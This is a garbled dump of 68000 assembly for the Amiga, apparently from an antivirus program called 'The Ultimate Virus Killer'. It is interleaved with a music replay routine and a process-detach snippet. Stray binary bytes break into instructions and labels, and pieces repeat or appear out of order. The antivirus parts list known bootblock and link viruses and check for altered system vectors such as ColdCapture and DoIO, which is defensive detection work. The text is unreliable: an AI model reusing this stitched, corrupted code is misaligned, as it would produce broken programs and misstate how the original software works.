ADD.W #16,mt_PatternPos MOVE.B mt_PattDelTime,D0 BEQ mt_dskc MOVE.B D0,mt_PattDelTime2 CLR.B mt_PattDelTime mt_dskc:TST.B mt_PattDelTime2 BEQ mt_dska SUBQ.B #1,mt_PattDe?QFlTime2 BEQ mt_dska SUB.W #16,mt_PatternPos mt_dska:TST.B mt_PBreakFlag BEQ mt_nnpysk SF mt_PBreakFlag MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 CLR.B mt_PBreakPos LSL.W #4,D0 MOVE.W D0,mt_PatternPos mt_nnpysk: CMP.W #1024,mt_PatternPos BLO mt_NoNewPosYet mt_NextPosition: MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 LSL.W #4,D0 MOVE.W D0,mt_PatternPos CLR.B mt_PBreakPos CLR.B mt_PosJumpFlag ADDQ.B #1,mt_SongPos AND.B #$7F,mt_SongPos MOVE.B mt_SongPos(PC),D1 MOVE.L mt_SongD?xxj:ataPtr(PC),A0 CMP.B 950(A0),D1 BLO mt_NoNewPosYet CLR.B mt_SongPos mt_NoNewPosYet: TST.B mt_PosJumpFlag BNE mt_NextPosition MOVEM.L (SP)+,D0-D4/A0-A6 RTS mt_CheckEfx: BSR mt_UpdateFunk MOVE.W n_cmd(A6),D0 AND.W #$0FFF,D0 BEQ mt_PerNop MOVE.B n_cmd(A6),D0 AND.B #$0F,D0 BEQ mt_Arpeggio CMP.B #1,D0 BEQ mt_PortaUp CMP.B #2,D0 BEQ mt_PortaDown CMP.B #3,D0 BEQ mt_TonePortamento CMP.B #4,D0 BEQ mt_Vibrato CMP.B #5,D0 BEQ mt_TonePlusVolSlide CMP.B #6,D0 BEQ mt_Vibr?ƋatoPlusVolSlide CMP.B #$E,D0 BEQ mt_E_Commands SetBack:MOVE.W n_period(A6),6(A5) CMP.B #7,D0 BEQ mt_Tremolo CMP.B #$A,D0 BEQ mt_VolumeSlide mt_Return2: RTS mt_PerNop: MOVE.W n_period(A6),6(A5) RTS mt_Arpeggio: MOVEQ #0,D0 MOVE.B mt_counter(PC),D0 DIVS #3,D0 SWAP D0 CMP.W #0,D0 BEQ mt_Arpeggio2 CMP.W #2,D0 BEQ mt_Arpeggio1 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 LSR.B #4,D0 BRA mt_Arpeggio3 mt_Arpeggio1: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #15,D0 BRA mt_Arpeg?cgio3 mt_Arpeggio2: MOVE.W n_period(A6),D2 BRA mt_Arpeggio4 mt_Arpeggio3: ASL.W #1,D0 MOVEQ #0,D1 MOVE.B n_finetune(A6),D1 MULU #36*2,D1 LEA mt_PeriodTable(PC),A0 ADD.L D1,A0 MOVEQ #0,D1 MOVE.W n_period(A6),D1 MOVEQ #36,D7 mt_arploop: MOVE.W (A0,D0.W),D2 CMP.W (A0),D1 BHS mt_Arpeggio4 ADDQ.L #2,A0 DBRA D7,mt_arploop RTS mt_Arpeggio4: MOVE.W D2,6(A5) RTS mt_FinePortaUp: TST.B mt_counter BNE mt_Return2 MOVE.B #$0F,mt_LowMask mt_PortaUp: MOVEQ #0,D0 MOVE.B n_c?ZEmdlo(A6),D0 AND.B mt_LowMask(PC),D0 MOVE.B #$FF,mt_LowMask SUB.W D0,n_period(A6) MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 CMP.W #113,D0 BPL mt_PortaUskip AND.W #$F000,n_period(A6) OR.W #113,n_period(A6) mt_PortaUskip: MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 MOVE.W D0,6(A5) RTS mt_FinePortaDown: TST.B mt_counter BNE mt_Return2 MOVE.B #$0F,mt_LowMask mt_PortaDown: CLR.W D0 MOVE.B n_cmdlo(A6),D0 AND.B mt_LowMask(PC),D0 MOVE.B #$FF,mt_LowMask ADD.W D0,n_period(A6) M?#OVE.W n_period(A6),D0 AND.W #$0FFF,D0 CMP.W #856,D0 BMI mt_PortaDskip AND.W #$F000,n_period(A6) OR.W #856,n_period(A6) mt_PortaDskip: MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 MOVE.W D0,6(A5) RTS mt_SetTonePorta: MOVE.L A0,-(SP) MOVE.W (A6),D2 AND.W #$0FFF,D2 MOVEQ #0,D0 MOVE.B n_finetune(A6),D0 MULU #37*2,D0 LEA mt_PeriodTable(PC),A0 ADD.L D0,A0 MOVEQ #0,D0 mt_StpLoop: CMP.W (A0,D0.W),D2 BHS mt_StpFound ADDQ.W #2,D0 CMP.W #37*2,D0 BLO mt_StpLoop MOVEQ #35*2,D0 ?,mt_StpFound: MOVE.B n_finetune(A6),D2 AND.B #8,D2 BEQ mt_StpGoss TST.W D0 BEQ mt_StpGoss SUBQ.W #2,D0 mt_StpGoss: MOVE.W (A0,D0.W),D2 MOVE.L (SP)+,A0 MOVE.W D2,n_wantedperiod(A6) MOVE.W n_period(A6),D0 CLR.B n_toneportdirec(A6) CMP.W D0,D2 BEQ mt_ClearTonePorta BGE mt_Return2 MOVE.B #1,n_toneportdirec(A6) RTS mt_ClearTonePorta: CLR.W n_wantedperiod(A6) RTS mt_TonePortamento: MOVE.B n_cmdlo(A6),D0 BEQ mt_TonePortNoChange MOVE.B D0,n_toneportspeed(A6) CLR.B n_cm?ر$dlo(A6) mt_TonePortNoChange: TST.W n_wantedperiod(A6) BEQ mt_Return2 MOVEQ #0,D0 MOVE.B n_toneportspeed(A6),D0 TST.B n_toneportdirec(A6) BNE mt_TonePortaUp mt_TonePortaDown: ADD.W D0,n_period(A6) MOVE.W n_wantedperiod(A6),D0 CMP.W n_period(A6),D0 BGT mt_TonePortaSetPer MOVE.W n_wantedperiod(A6),n_period(A6) CLR.W n_wantedperiod(A6) BRA mt_TonePortaSetPer mt_TonePortaUp: SUB.W D0,n_period(A6) MOVE.W n_wantedperiod(A6),D0 CMP.W n_period(A6),D0 BLT mt_TonePortaSetPer qeorkbench LenBB: dc.w 0 ;len built boot lenboot:dc.l 0 try1: dc.l 0 ;variables debugging try2: dc.l 0 try3: dc.l 0 try4: dc.l 0 iodevice:dc.l 0 ;ptr debut iodev raster: dc.l 0 ;ptr raster int param: dc.b "?",$a paraend: E: Scr: blk.b 1024,0 ConvTxt:dc.b "00000000",$a,-1 AmiDos: dc.b "AmigaDOS" ValiNam:dc.b "L/Disk-Validator",0 Startup:dc.b "S/Startup-Sequence",0 LamName:dc.b $a0,$a0,$a0,$a0,$a0,0 ButoNam:dc.b $a0,$a0,$a0,$9b,$41,0 even InfoBuf:blk.b 40,0 SaveIo: blk.b 60,0 IntuiBase:./G 0 mt_LowMask: dc.b 0 mt_PattDelTime: dc.b 0 mt_PattDelTime2:dc.b 0 dc.b 0 mt_PatternPos: dc.w 0 mt_DMACONtemp: dc.w 0 mt_data: blk.b 245000 ;/* End of File */ #$0F,D0 BEQ mt_SetLoop TST.B n_loopcount(A6) BEQ mt_jumpcnt SUB.B #1,n_loopcount(A6) BEQ mt_Return2 mt_jmploop: MOVE.B n_pattpos(A6),mt_PBreakPos ST mt_PBreakFlag RTS mt_jumpcnt: MOVE.B D0,n_loopcount(A6) BRA mt_jmploop mt_SetLoop: MOVE.W mt_PatternPos(PC),D0 LSR.W #4,D0 MOVE.B D0,n_pattpos(A6) RTS mt_SetTCK:s #$4000,d4 ;pile move.l dosbase,a6 jsr -138(a6) ;CreateProc move.l 4.w,a6 move.l dosbase,a1 jsr -414(a6) move.l #0,d0 rts section part2,code Run2: bsr.w main lea dosbase,a0 move.l (a0),a6 lea segment,a0 move.l (a0),d1 jsr -156(a6) rts name: dc.b "own.proc",0 doslib: dc.b "dos.library",0 even segment:dc.l 0 dosbase:dc.l 0 main: move.w $dff006,$dff184 btst #10,$dff016 bne.s main rts STRANGE.SpB*Zadd.l a2,a2 ; add.l a2,a2 ;*4 (BCPL) ; clr.l (a2) ;coupe du cli move.l #name,d1 ;nom moveq #0,d2 ;pri move.l #$4000,d4 ;pile move.l dosbase,a6 jsr -138(a6) ;CreateProc move.l 4.w,a6 move.l dosbase,a1 jsr -414(a6) move.l #0,d0 rts section part2,code Run2: bsr.w main move.l dosbase,a6 move.l segment,d1 jsr -156(a6) rts name: dc.b "own.proc",0 doslib: dc.b "dos.library",0 even segment:dc.l 0 dosbase:dc.l 0 cd: dc.l 0 main: move.w $dff006,$dff184 btst #10,$dff01BS6 bne.s main rts -- section part1,code run1: move.l $4.w,a6 sub.l a1,a1 jsr -294(a6) move.l d0,a4 lea doslib,a1 moveq #0,d0 jsr -552(a6) move.l d0,dosbase moveq #0,d1 move.l dosbase,a6 jsr -126(a6) move.l d0,cd move.l dosbase,a6 move.l cd,d1 jsr -96(a6) lea run1-4,a0 move.l (a0),d3 ;segment pour CreateProc move.l d3,segment clr.l (a0) ;coupe de la liste ; move.l 172(a4),a1 ;pr_cli ; add.l a1,a1 ; add.l a1,a1 ;*4 (BCPL) ; move.l 60(a1),a2 ;cli_module ; ?(t0C8 CLR.W $DFF0D8 MOVE.W #$F,$DFF096 RTS mt_music: MOVEM.L D0-D4/A0-A6,-(SP) ADDQ.B #1,mt_counter MOVE.B mt_counter(PC),D0 CMP.B mt_speed(PC),D0 BLO mt_NoNewNote CLR.B mt_counter TST.B mt_PattDelTime2 BEQ mt_GetNewNote BSR mt_NoNewAllChannels BRA mt_dskip mt_NoNewNote: BSR mt_NoNewAllChannels BRA mt_NoNewPosYet mt_NoNewAllChannels: LEA $DFF0A0,A5 LEA mt_chan1temp(PC),A6 BSR mt_CheckEfx LEA $DFF0B0,A5 LEA mt_chan2temp(PC),A6 BSR mt_CheckEfx LEA $DFF0C0,A5 LEA?n mt_chan3temp(PC),A6 BSR mt_CheckEfx LEA $DFF0D0,A5 LEA mt_chan4temp(PC),A6 BRA mt_CheckEfx mt_GetNewNote: MOVE.L mt_SongDataPtr(PC),A0 LEA 12(A0),A3 LEA 952(A0),A2 ;pattpo ($3b8) LEA 1084(A0),A0 ;patterndata (debut song) MOVEQ #0,D0 MOVEQ #0,D1 MOVE.B mt_SongPos(PC),D0 MOVE.B (A2,D0.W),D1 ;num pattern ds table ASL.L #8,D1 ;*$400 ASL.L #2,D1 ADD.W mt_PatternPos(PC),D1 ;pos ds pattern CLR.W mt_DMACONtemp LEA $DFF0A0,A5 LEA mt_chan1temp(PC),A6 BSR mt_PlayVoice LE?BA $DFF0B0,A5 LEA mt_chan2temp(PC),A6 BSR mt_PlayVoice LEA $DFF0C0,A5 LEA mt_chan3temp(PC),A6 BSR mt_PlayVoice LEA $DFF0D0,A5 LEA mt_chan4temp(PC),A6 BSR mt_PlayVoice BRA mt_SetDMA mt_PlayVoice: TST.L (A6) BNE mt_plvskip BSR mt_PerNop mt_plvskip: MOVE.L (A0,D1.L),(A6) ;note+cmd EOR.L #"TOTO",(A6) ;decode ADDQ.L #4,D1 ;next MOVEQ #0,D2 MOVE.B n_cmd(A6),D2 AND.B #$F0,D2 ;num sample LSR.B #4,D2 ;decale $F0 -> $0F MOVE.B (A6),D0 AND.B #$F0,D0 OR.B D0,D2 TST.B D2?5H BEQ mt_SetRegs MOVEQ #0,D3 LEA mt_SampleStarts(PC),A1 MOVE D2,D4 SUBQ.L #1,D2 ;-1 ASL.L #2,D2 ;*4 MULU #30,D4 ;*30 MOVE.L (A1,D2.L),n_start(A6) MOVE.W (A3,D4.L),n_length(A6) MOVE.W (A3,D4.L),n_reallength(A6) MOVE.B 2(A3,D4.L),n_finetune(A6) MOVE.B 3(A3,D4.L),n_volume(A6) MOVE.W 4(A3,D4.L),D3 ; Get repeat TST.W D3 BEQ mt_NoLoop MOVE.L n_start(A6),D2 ; Get start ASL.W #1,D3 ADD.L D3,D2 ; Add repeat MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOVE.W 4(A? 2t*N3,D4.L),D0 ; Get repeat ADD.W 6(A3,D4.L),D0 ; Add replen MOVE.W D0,n_length(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) ; Set volume BRA mt_SetRegs mt_NoLoop: MOVE.L n_start(A6),D2 ADD.L D3,D2 MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) ; Set volume mt_SetRegs: MOVE.W (A6),D0 AND.W #$0FFF,D0 BEQ mt_CheckMore? ԚEfx ; If no note MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0E50,D0 BEQ mt_DoSetFineTune MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #3,D0 ; TonePortamento BEQ mt_ChkTonePorta CMP.B #5,D0 BEQ mt_ChkTonePorta CMP.B #9,D0 ; Sample Offset BNE mt_SetPeriod BSR mt_CheckMoreEfx BRA mt_SetPeriod mt_DoSetFineTune: BSR mt_SetFineTune BRA mt_SetPeriod mt_ChkTonePorta: BSR mt_SetTonePorta BRA mt_CheckMoreEfx mt_SetPeriod: MOVEM.L D0-D1/A0-A1,-(SP) MOVE.W (A6),D1 AND.W #$0FFF,D1 LEq:Feset if your screen isn't in PAL",$a dc.b " 5> Make Pal ..... Rename and force the CLI window to 256 lines" dc.b $a dc.b " 6> Led Off ...... Switch off the low pass filter on A500/A2000" dc.b $a dc.b " 7> IRQ Protector Protect your Amiga against the IRQ virus",$a dc.b $a," 8> Exit",$a,$a," " dc.b "Choose functions by pressing the fine keys, and press " dc.b $a dc.b " to build the Bootblock. (No Function = Normal Bootblock)",-1 InfT: DC.B $c," UVK knows the followq۝ing viruses :",$a,$a dc.b " Bootblock viruses :",$a dc.b " SCA (AEK/LSD/BS1/DAG/ICE), Byte Bandit 1-3 (FORPIB), Graffiti," dc.b $a dc.b " Pentagon Circle, Lamer Exterminator 1-5, Disk-Doktor, Gadaffi," dc.b $a dc.b " Northstar 1-2, Kauki, Blackflash, Coder, Joshua 1-2, NoName,",$a dc.b " HCS '4220 1-2, Ultrafox, VKill (AIDS), Obelisk, Termigator,",$a dc.b " Claas Abraham, Warhawk, GxTeam, Superboy, Revenge (Sendarian)," dc.b $a dc.b " Target system, Extreme, Timebomb, Opaq}pa, RevengeLoader, Hilly," dc.b $a dc.b " Newbeat, Turk, Microsystems, Byte Warrior, Phantasmumble,",$a dc.b " Scarface, 16BitCrew, Gremlins, CCCP.",$a dc.b " Link viruses :",$a dc.b " Revenge Lamer 1-2, BGS9, Xeno, CCCP, Terrorists, Disaster,",$a dc.b " Butonic 1.31/3.00, Return Lamer, IRQ, Saddam, Cancer-Smily.",$a dc.b $a,$a," Press for more info.",-1 inft2:dc.b $c," UVK knows the following BootBlocks :",$a,$a dc.b " BootGirl, CCSBoot 2.0/3.0, XCOPY 2.0 Boot, ASq=oS Protector 1.0," dc.b $a dc.b" AVIREX, V.D.C 1.3/1.6/1.7/2.0, No Expansion Memory, Megakiller," dc.b $a dc.b " TIP NoFastMem, Gx.Team NoFastMem, Virus Terminator V1.0,",$a dc.b " BootLeg V2.1, I.B BootCopy, Mem Controller 1.2/1.3, Mia disk," dc.b $a dc.b " Random Access, Virus Slayer 1.0, Mega-Boot 1.30, Pal Window," dc.b " Dimarz Observer, Dietmar Virus Detector, Sinister Syndicate," dc.b" Pvl Protectors 3.0/4.0/5.1/5.0/5.3/5.4/6.1/6.4/6.5 & SoundBoot," dc.b $a dc.b" VirqZ|us Detector, Deluxe Boot, TriTech, Utility Boot 2.0/5.0/6.1," dc.b $a dc.b " Blizzard Protector, ColorBoot, WriterBoot, 'Stars&blue Copper'," dc.b $a," ZeroVirus AutoAddRam/NofastMem/BigScreenTest, Destructor,",$a dc.b " ECS Pal, Shining8 Boot-Util I, Ripper, 'Copper VAmiga',",$a dc.b " Generation, VirusAlert 2.01, Peter Stuer Antivirus, SemTex 3.3," dc.b $a," SCA Protector, Viruscope boots (7), SupplyTeam, Boot-tune." dc.b $a dc.b $a," Press to continue.",-1 Inft3:q{dc.b $c," and also the following ones :",$a,$a dc.b " Outlaws Ckecker, Starfire Checker, Quartex NoDrives, Clonk!",$a dc.b " Sabaudian, VCC Access forbidden, Filter Boot 1.01, VCS 3.2,",$a dc.b " Thor Antivirus, CopyBootIII, SuperFly Checker, VCC NoFastMem." dc.b $a,$a,$a,$a," What UVK can do :",$a dc.b " +Check Ram/Disk, Recognize residents Prgs, Clean Ram/Disk,",$a dc.b " Restore/Display altered Vectors, Recalculate Checksum,",$a dc.b " Analyse a Bootcode, Print a bootblocqk, Create a bootcode ..." dc.b $a dc.b " +For Keys info, type 'K'. For Amiguy info, type 'I'.",$a,$a dc.b " === The final version will soon come .... ===",$a dc.b $a," Press for the main menu.",-1 even Diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 Diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.lq[r 0 dc.l 0 TrkDisk:dc.b "trackdisk.device",0 File: blk.b 30,0 even ;diskvalid:blk.b 1848,0 dc.b "c/" File2: blk.b 50,0 devic: dc.w 0,0,0 ScrPrT: dc.b "UVK BootBlock Hardcopy",$a dc.b "~~~~~~~~~~~~~~~~~~~~~~",$a ScrPrE: Scr: blk.b 1024,0 ConvTxt:dc.b "00000000",$a,-1 AmiDos: dc.b "AmigaDOS" ValiNam:dc.b "L/Disk-Validator",0 Startup:dc.b "S/Startup-Sequence",0 LamName:dc.b $a0,$a0,$a0,$a0,$a0,0 ButoNam:dc.b $a0,$a0,$a0,$9b,$41,0 even InfoBuf:blk.b 40,0 SaveIo: blk.b 60,0 IntuiBase:qedc.l 0 DosBase:dc.l 0 ConHandle:dc.l 0 ;handle fenetre raw WinHandle:dc.l 0 ;handle fenetre con ScrP: dc.l 0 Lock: dc.l 0 Flag: dc.l 0 PrtH: dc.l 0 XenoAdr:dc.l 0 XenAdr: dc.l 0,0,0 ;$c04ada,$c04a62,$c04aa4 IrqAdr: dc.l 0 Key: dc.b 0 Buf: dc.b 0 ExOFlag:dc.b 0 Protector:dc.b 0 ;flag protector found RFlag: dc.b 0 ;flag resident FlagDr: dc.b 0 ;flag external drive 1=only df0: NotFound:dc.b 0 ;flag file not found FlagEcr:dc.b 0 ;flag ecriresub CrFlag: dc.b 0 ;flag create AutoF: dc.qJ b 0 ;flag autochk DrS: dc.b 0 ;source DrD: dc.b 0 ;destination DrM: dc.b 0 ;drmove DrL: dc.b 0 ;drlink VirDia: dc.b 0 ;evaluation risque virus LoaDia: dc.b 0 ;evaluation loader PCmd: dc.b 0 ;flag protector cmd XenoF: dc.b 0 ;xeno flag firstf: dc.b 0 EStrtUp:dc.b 0 RetFl: dc.b 0 EndFlag:dc.b 0 LinkFnd:dc.b 0 FileFnd:dc.b 0 AllRight:dc.b 0 DStep: dc.b 0 DirScan:dc.b 0 Ident: dc.b 0 even DriveC: dc.l 0 ;connected drives Buffer: dc.l 0 ;adr boot BufEnd: dc.l 0 ;adr fin boot ChkSum: qedc.l 0 Ptr: dc.l 0 BufFWr: dc.l 0 StarBuf:dc.l 0 ;buffer startup StarLen:dc.l 0 ;len startup RealLen:dc.l 0 ;len file RealLBu:dc.l 0 ;buffer file Rd2Buf: dc.l 0 AdrVi: dc.l 0 LenVi: dc.l 0 Cool: dc.l 0 Boots: dc.l 0 Mem: dc.l 0 FileInfo:dc.l 0 IrqOpenLib:dc.l 0 ;sauvegarde point entree irq OldOpenW:dc.l 0 KeyCpt: dc.l 0 Nameprog:dc.l 0 IBoot: dc.l 0 ;handle boot Inter: dc.l 0 ReturnCode:dc.l 0 Para: dc.l 0 ;ptr parametres cli LenPara:dc.l 0 ;len paramatres cli WbMsg: dc.l 0 ;msg wq|_"................ : $",-1 Okt: dc.b "Ok",$a,-1 Found: dc.b " found & killed,",-1 Clean: dc.b " No virus found in memory",$a,-1 Rett: dc.b $a," Press to continue",$a,-1 CooT: dc.b $a," Memory cleaned. Please press ",-1 CurOff: dc.b $9b,"0 p",-1 Unkt: dc.b " Nothing suspect ...",-1 UnkLit: dc.b " no virus detected ...",$a,-1 NotExec:dc.b " not a executable file",$a,-1 Sout: dc.b " Insert Source in DF0:",-1 Dest: dc.b " Insert Destination in DF0:",-1 Soutm: dc.b " Insqxert Source in DF0:",-1 Destm: dc.b " Insert Destination in DF0:",-1 Sou: dc.b " Insert Source ",$a,-1 Des: dc.b " Insert Destination ",-1 protxt: dc.b " Disk is write protected",-1 ndktxt: dc.b " No disk in drive",-1 Writbb: dc.b " Writing bootblock ...",-1 Readbb: dc.b " Reading bootblock ...",-1 Loadbb: dc.b " Loading bootblock ...",-1 Savebb: dc.b " Saving bootblock ...",-1 LoaLiF: dc.b " Loading file ",-1 EcrClrT:dc.b $c,$a,$a,-1 Kilt: dc.b $a,$a," xit or ill ?",$a,-1 LiKiqg!b`lt: dc.b $a,$a," xit or emove it ?",$a,-1 LoaStar:dc.b " Loading the 'startup-sequence' file ...",$a,-1 ScanStT:dc.b $a," Scanning startup-sequence ...",$a,$a,-1 RemStar:dc.b $a," Virus removed from the startup-sequence",$a,-1 VirDel: dc.b $a," Virus file deleted",-1 LiWrEna:dc.b $a," Please make your disk write enabled",$a,-1 Locate: dc.b " located at $",-1 dosbtn: dc.b " (Dosbase -000)",$a,-1 intlevt:dc.b " Interrupt Level0 : $",-1 execbtn:dc.b " Execbase -000 : $",-1qǔ Intbtn: dc.b " Intuition -000 : $",-1 gfxbtn: dc.b " GfxBase -000 : $",-1 execbtp:dc.b " Execbase +000 : $",-1 maxlm: dc.b " MaxLocMem ...... : $",-1 maxem: dc.b " MaxExtMem ...... : $",-1 coldt: dc.b " ColdCapture .... : $",-1 coolt: dc.b " CoolCapture .... : $",-1 kicktt: dc.b " KickTagPtr ..... : $",-1 corvec: dc.b " Corrupted vector at : $",-1 UvkPrt: dc.b " Printing bootblock ... ",-1 VerifPT:dc.b " You should verify your printer ... ",-1 Sure: dc.b " I'm goinq g#g to RESET your amiga to clear the memory",$a,$a dc.b " Are you sure (y/n) ? ",-1 even namep: dc.b "prt:",0 name3: dc.b "raw:45/20/524/52/Uvk Request",0 even name2: dc.b "con:45/20/524/52/Uvk Request",0 even name: dc.b "raw:40/5/534/149/UVK V1.22.by Amiguy (K???)",0 even dc.l 0 texte: dc.b $c,$a," ",$9b,"0;33;40mThe Ultimate Virus Killer",0,0 dc.b $9b,"0;31;40m" drtxt: dc.b " ",0 dc.b $a," ",$9b,"0;33;40m-------------------------" dc.b $9b,"0;31;40m" dc.bq $ } $a,$a," Your choice: ",$a,$a dc.b " 1> Check Bootblock virus auto " autotxt:dc.b "off ",$a dc.b " 2> Check Link-Virus",$a," 3> Display Bootblock" dc.b $a," 4> Copy Bootblock",$a," 5> Move Bootblock " dc.b $a," 6> Create Bootblock",$a," 7> Informations" dc.b $a,$a," 8> Quit",$a,$9b,"0 p",-1 MOVET: DC.B $c,$a," Move a Bootblock" MovtDr: dc.b " (DF0)=Boot" DC.B $a,$9b,"0 p"," ----------------",$a dc.b $a," 1> Bootblock to file" DC.B $a," 2> File to Bootblock",$a dc.b $a," 3>q wx^ Exit",-1 KeyTxt: dc.b $c,$a," Keys :",$A," ----",$a,$a dc.b " nalyser : Analyse the Bootblock.",$a dc.b " hecksum : Recalculate BootBlock Checksum.",$a dc.b " estination : Choose destination drive.",$a dc.b " reetings : Thanx to ...",$a dc.b " nfo : About UVK ...",$a dc.b " ey : This page.",$a dc.b "

rint : Bootblock hardcopy (during Display).",$a dc.b " am Check : Verify the memory.",$a dc.b" am Display : Show the mq .-emory in ASCII (during Display)." dc.b $a dc.b " ource : Choose source drive.",$a dc.b " Auo : AutoCheck",$a dc.b " uit : Reset.",$a,-1 Linkt: dc.b " Link Virus Check" dc.b $a,$9b,"0 p"," ----------------",$a dc.b $a," 1> File Scanning" dc.b $a," 2> Startup Scanning" dc.b $a," 3> Directory Scanning" dc.b $a," 4> Disk-Validator Scanning" dc.b $a," 5> Directory",$a dc.b $a," 6> Exit",$a,-1 Greeti: dc.b $c,$a,$a,$a dc.b " I want to thank the peopq Kyle who support me in making this",$a dc.b " program :",$a,$a dc.b " - Kougar/Dreamdealers for his printer, his moral support, and",$a dc.b " his viruses.",$a dc.b " - Celenoid/Dreamdealers for the Disk-Doktors virus.",$a dc.b " - Mr Cupertino for the Irq virus.",$a dc.b " - the person who give me a lot of viruses.",$a,$a dc.b " and all the other i've forgotten...",$a,-1 GuyTxt:dc.b $c dc.b $a,$a," This program is copyrighted, but freely redistributable.",$a dc.b " I haveqgVl spent many time to write this proggy, so if you enjoy ",$a dc.b " it, if you want the docfile or the updates, i request you to",$a dc.b " send me 40 FF. This little contribution will support me in",$a dc.b " fighting the viruses. I stand by you !",$a,$a dc.b " Here is my address :",$a dc.b " Amiguy, 2 rue du pr Feray, 27180 Arnires/Iton. France",$a dc.b " You can also contact me on the Minitel :",$a dc.b " 3614 RTEL2, BAL Amiguy",$a,$a dc.b " If you find any bugs/new ideq)as for updates, if you have some",$a dc.b " new viruses, you must contact me too.",$a dc.b " See you soon !",$a,-1 even InsT: dc.b $c,$a," Create a Bootblock" InsTDr: dc.b " D:DF0",$a dc.b " ------------------",$a InsT2: dc.b $a dc.b " 1> Ram Cleaner .. Clean the memory from all the viruses",$a dc.b " 2> NoFastMem .... Disconnect all your Fast Memory until reset" dc.b $a dc.b " 3> NoDrives ..... Switch off the external drives until reset",$a dc.b " 4> Test Pal ..... Do a rq}~Jeff-Butonic 1.31 virus",-1 Cancer: dc.b " Cancer-Smily virus",-1 Gar1: dc.b " Guardian V1.1",-1 Gar2: dc.b " Guardian V1.2",-1 Pseu: dc.b " Pseudo Ops virus killer 1.6",-1 CodB: dc.b " Coder board 4.0",-1 Rom40: dc.b " Romcrack 0.40",-1 Rom70: dc.b " Romcrack 0.70",-1 Rom73: dc.b " Romcrack 0.73",-1 Pow2: dc.b " Power Utility 2.0",-1 ;pow1: dc.b " Power Utility 1.0",-1 Atool: dc.b " Atool 2.0",-1 Pro3: dc.b " Protector III",-1 VCtrl: dc.b " Virus Control 1.3",-1 Pseu2: dc.b " Pseuq~_#do Ops Virus Killer 2.0",-1 even AnaList:dc.l $226,MkTagP,$fd9c,MKSum,$222,MKMemP,46,MCool dc.l 42,MCold,-454,MDoIo,148,MEInt,0 AdrModL:dc.l $2d48,$2d48,-2,$2d50,$2d50,-2,$ffff,$2d7c,-6 dc.l $ffff,$2d79,-6,$ffff,$2d7a,-4,$ffff,$42ae,-2,0 MenList:dc.l " i I",Amiguy," k K",Keypage," c C",Checksum dc.l " q Q",Quit," d D",NextDrd dc.l " s S",NextDrs," 1 1",Check," 3 3",Display," 4 4",Copy dc.l " 5 5",Movesub," 6 6",Create," 7 7",Info dc.l " a A",Analyse," g G",Greet," t T",Autochkq:X dc.l " 2 2",Link," r R",tstram,0 IoList: dc.l 1,ReseIo,2,ReadIo,3,WritIo,4,UpdaIo,9,MotoIo,10,FormIo dc.l 14,DiskIo,15,ProtIo,5,CleaIo,11,RemoIo,12,SeekIo dc.l 13,ChanIo,0 IoParL: dc.l $28,Iobuf,$24,Iolen,$2c,IoOff,0 ExcExb: dc.l -550,-448,-442,-436,-412,-400,-196,0 CodBL: dc.w $ffc0,$0a00,$ffc0,$0a40,$ffc0,$0a80 ;eori.b/w/l dc.w $f1c0,$b100,$f1c0,$b140,$f1c0,$b180,0 ;eor.b/w/l CreatLi:dc.l "1",0,Cleaner,"2",0,NoFMem,"3",0,NoEDr,"4",0,TestPal dc.l "5",0,MakePal,"6",0,LedOff,"7"qp,0,IrqPr,0 analt: dc.b $c,$a," Analysing the Bootblock...",$a,$a,-1 ananoth:dc.b $a," Nothing suspect ...",-1 usekst: dc.b " Use the KickSumData Routine ",$a,-1 mktagp: dc.b " Modify the KickTag Pointer",$a,-1 mksum: dc.b " Modify the KickSumData vector",$a,-1 mkmemp: dc.b " Modify the KickMem Pointer",$a,-1 mcool: dc.b " Modify the CoolCapture vector",$a,-1 mcold: dc.b " Modify the ColdCapture vector",$a,-1 mdoio: dc.b " Modify the DoIO vector",$a,-1 meint: dc.b " Mq{odify the ExecBase Interrupt vector",$a,-1 motclr: dc.b " Clear ",-1 useioc: dc.b " Use IO Command",-1 iobuf: dc.b " Buffer : $",-1 iolen: dc.b " Lenght : $",-1 iooff: dc.b " Offset : $",-1 reseio: dc.b " (Reset)",$a,-1 readio: dc.b " (Read)",$a,-1 writio: dc.b " (Write)",$a,-1 updaio: dc.b " (Update)",$a,-1 motoio: dc.b " (Motor)",$a,-1 formio: dc.b " (Format)",$a,-1 diskio: dc.b " (ChangeState)",$a,-1 protio: dc.b " (ProtStatus)",$a,-1 remoio: dc.b " (Remove)",$a,-1 seekq io: dc.b " (Seek)",$a,-1 cleaio: dc.b " (Clear)",$a,-1 chanio: dc.b " (ChangeNum)",$a,-1 bootcod1:dc.b " + The bootblock is perhaps crypted",$a,-1 bootcod2:dc.b " + The bootblock is surely crypted",$a,-1 lenab: dc.b " + Length : ",-1 lenab0: dc.b "0000",$a,-1 anamemt:dc.b " + About the memory ...",$a,-1 anadskt:dc.b " + About the disk ...",$a,-1 bbvir1: dc.b $a," WARNING !!! This bootblock may be a virus ! ",$a,-1 bbvir2: dc.b $a," WARNING !!! This bootblock is surely a virus ! ",$a,qw-1 bbloa: dc.b $a," This Bootblock is certainly a loader ...",$a,-1 CmdInf: dc.b $a,$9b,"1;33;40m" dc.b "The Ultimate Virus 